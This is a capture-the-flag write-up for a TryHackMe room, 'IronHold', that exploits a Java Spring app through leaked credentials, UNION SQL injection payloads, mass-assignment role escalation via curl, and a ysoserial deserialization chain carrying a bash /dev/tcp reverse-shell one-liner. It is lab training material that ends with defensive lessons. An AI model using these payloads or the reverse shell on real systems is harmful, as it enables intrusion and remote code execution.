TryHackMeHard

TryHackMe: IronHold

White-box Java Spring app: hardcoded/actuator-leaked credentials, a UNION-based SQL injection, mass-assignment privilege escalation to WARDEN, and a commons-collections gadget chain for RCE.

Stylized illustration of a cracked jail-cell window revealing binary and HTML tags behind the bars

Room: IronHold

Room Description

We’re given the full source code of a Java Spring web application, along with a target running it, and asked to review the code and exploit the live instance to capture four flags.

Flag 1 — Hardcoded Credentials & Actuator Leak

I pulled down the source and ran it through Snyk to surface anything obvious, which flagged hardcoded credentials in DataSeeder.java right away:

Snyk scan flagging hardcoded credentials in DataSeeder.java

Two separate paths turn into the same officer account:

1. The Actuator endpoint leaks an environment variable. application.properties exposes all Actuator endpoints (management.endpoints.web.exposure.include=*), and the kiosk account’s password is loaded straight from one:

@Value("${app.kiosk.pw}")
private String kioskPassword;

2. Several officer accounts share a hardcoded password, visible in the same seeding code — see the Snyk screenshot above.

Either the kiosk credential (readable via the Actuator env endpoint) or one of the hardcoded officer passwords gets us in. I logged in and grabbed the first flag from the dashboard:

Officer dashboard after logging in, flag redacted

Snyk also flagged the /inmates/search endpoint:

Inmate Search page

Checking the source confirms it builds the query by string concatenation, with no parameterization:

} else {
    String sql = "SELECT id, name, block FROM inmates WHERE name = '" + q + "'";
    results = jdbcTemplate.queryForList(sql);
}

Source confirming the query has exactly 3 columns: id, name, block

Since the query has exactly 3 columns, a UNION SELECT with 3 values lines up cleanly. First, enumerate the available tables:

' UNION SELECT null, table_name, null FROM information_schema.tables --

UNION SELECT enumerating every table name in the database

CASE_FILES stands out. Checking DataSeeder.java confirms it — seedCaseFile() inserts flag2 directly into the summary column:

private void seedCaseFile() {
    jdbcTemplate.update(
        "INSERT INTO case_files (case_number, title, summary, status, opened_at) VALUES (?, ?, ?, ?, ?)",
        "IA-2024-007", "Internal Affairs Review", flag2, "OPEN",
        LocalDateTime.now().minusMonths(3));
}

Source showing flag2 inserted into the case_files.summary column

Pulling it out is the same UNION shape, pointed at the right table and column:

' UNION SELECT 1, summary, NULL FROM case_files --

SQL injection result returning flag 2, redacted

Flag 3 — Privilege Escalation via Mass Assignment

The third flag lives in the admin notices, per DataSeeder.java:

private void seedAdminNotices() {
    AdminNotice notice = new AdminNotice();
    notice.setTitle("Facility Master Override Code");
    notice.setBody(flag3);
    notice.setPostedBy("warden");
    notice.setPostedAt(LocalDateTime.now().minusDays(2));
    adminNoticeRepository.save(notice);
}

But the endpoint that displays them, /admin/control, sits behind WardenInterceptor, which is a straight role check:

public boolean isWarden() { return "WARDEN".equalsIgnoreCase(role); }

The SQL injection above runs under a database account without read access to admin_notices, so it can’t reach this flag directly — a legitimate WARDEN session is required.

Root cause: ProfileController.update() binds the entire Staff object straight from request parameters, with no allowlist of which fields a user is allowed to touch:

@PostMapping("/profile/update")
public String update(@ModelAttribute Staff staff, HttpSession session) {
    Staff current = staffRepository.findByUsername(SessionUtil.currentUsername(session));
    current.setFullName(staff.getFullName());
    current.setEmail(staff.getEmail());
    if (staff.getBadgeNumber() != null && !staff.getBadgeNumber().isBlank()) {
        current.setBadgeNumber(staff.getBadgeNumber());
    }
    if (staff.getRole() != null && !staff.getRole().isBlank()) {
        current.setRole(staff.getRole());     // attacker-controlled
    }
    staffRepository.save(current);            // persisted to DB
    return "redirect:/profile";
}

@ModelAttribute maps any submitted form field onto the entity, role included. Since the forged role gets persisted, WardenInterceptor reads it back as genuine on the very next request. Promoting our own officer account to WARDEN is just one extra parameter on a request we’re already allowed to make:

BASE=http://10.128.180.147:8080

# 1. Authenticate as a standard staff account (flag 1's credentials)
curl -s -c cookies.txt \
  -d "username=j.reyes&password=IronholdStaff2026!" \
  "$BASE/login" -o /dev/null -w "login:%{http_code}\n"

# 2. Mass-assignment: promote our own account to WARDEN
curl -s -b cookies.txt -c cookies.txt \
  -d "role=WARDEN" \
  "$BASE/profile/update" -o /dev/null -w "update:%{http_code}\n"

# 3. Access the now-authorized admin panel
curl -s -b cookies.txt "$BASE/admin/control" | grep -i -A1 flag
login:302
update:302

Both 302s are redirects on success (bad credentials would instead re-render /login with a 200). Before step 2, that same /admin/control request returned 403 Warden clearance required — afterward, it returns the panel with the flag:

Cellblock Door Control admin panel, flag redacted

Flag 4 — Insecure Deserialization to RCE

WARDEN access unlocks the admin bulk-import endpoint, which turns out to deserialize whatever it’s handed with no filtering at all:

byte[] decoded = Base64.getDecoder().decode(body.trim());
try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(decoded))) {
    Object restored = ois.readObject();   // no allowlist, no ObjectInputFilter
    return ResponseEntity.ok("Batch accepted: " + restored.getClass().getSimpleName());
}

No ObjectInputFilter (JEP 290) means any object graph reachable from the classpath gets instantiated — including gadget chains that end in Runtime.exec(). And the classpath cooperates: pom.xml pins commons-collections to [3.2, 3.2.2), which resolves to 3.2.1 — the last version before 3.2.2 disabled the dangerous InvokerTransformer functor deserialization that ysoserial’s CommonsCollections6 chain depends on. The app runs Spring Boot 2.7.18 on Java 11, a combination CC6 targets reliably.

1. Start a listener:

nc -lvnp 4444

2. Build the gadget chain. ysoserial tokenizes the command on spaces, and the reverse-shell one-liner has plenty, so it gets base64-wrapped first:

RS=$(echo -n 'bash -i >& /dev/tcp/YOUR-IP-HERE/4444 0>&1' | base64 -w0)

java --add-opens=java.base/java.util=ALL-UNNAMED \
     --add-opens=java.base/java.lang=ALL-UNNAMED \
     --add-opens=java.base/java.lang.reflect=ALL-UNNAMED \
     --add-opens=java.base/java.net=ALL-UNNAMED \
     --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
     -jar ysoserial.jar CommonsCollections6 "bash -c {echo,$RS}|{base64,-d}|bash" \
     | base64 -w0 > payload.b64

The --add-opens flags are needed because ysoserial itself runs on a modern JVM with module access restrictions; make sure the payload targets the same Java version as IronHold (11) regardless.

3. Deliver it with the warden-authorized session:

┌─[lyoo3@parrot]─[~/Desktop/CTFS]
└──╼ $BASE=http://10.128.180.147:8080

┌─[lyoo3@parrot]─[~/Desktop/CTFS]
└──╼ $curl -s -c cookies.txt -d "username=j.reyes&password=IronholdStaff2026!" "$BASE/login" -o /dev/null

┌─[lyoo3@parrot]─[~/Desktop/CTFS]
└──╼ $curl -s -b cookies.txt -c cookies.txt -d "role=WARDEN" "$BASE/profile/update" -o /dev/null

┌─[lyoo3@parrot]─[~/Desktop/CTFS]
└──╼ $curl -s -b cookies.txt -H "Content-Type: text/plain" --data-binary @payload.b64 "$BASE/admin/import"
Batch accepted: HashSet

The listener catches a shell as appuser inside the container, and the final flag is sitting in /opt/ironhold/flag.txt:

Reverse shell landing, cat of the flag file, flag redacted

Takeaways

  • Two separate flags (1 and 3) came from trusting attacker-supplied data the framework didn’t actually protect: an Actuator endpoint left wide open, and a model-binding call that accepted a field (role) it should never have exposed to the client.
  • The SQL injection was a textbook case of string-concatenated queries — parameterized queries would have closed it outright, no allowlisting or WAF required.
  • The deserialization bug needed two things to line up: no ObjectInputFilter, and a vulnerable commons-collections version still on the classpath. Either one alone would have blocked the chain.
  • Source-code access turned every stage into a lookup rather than a guess — worth remembering how much faster white-box testing is when it’s available, and how much blind spots cost in a black-box engagement by comparison.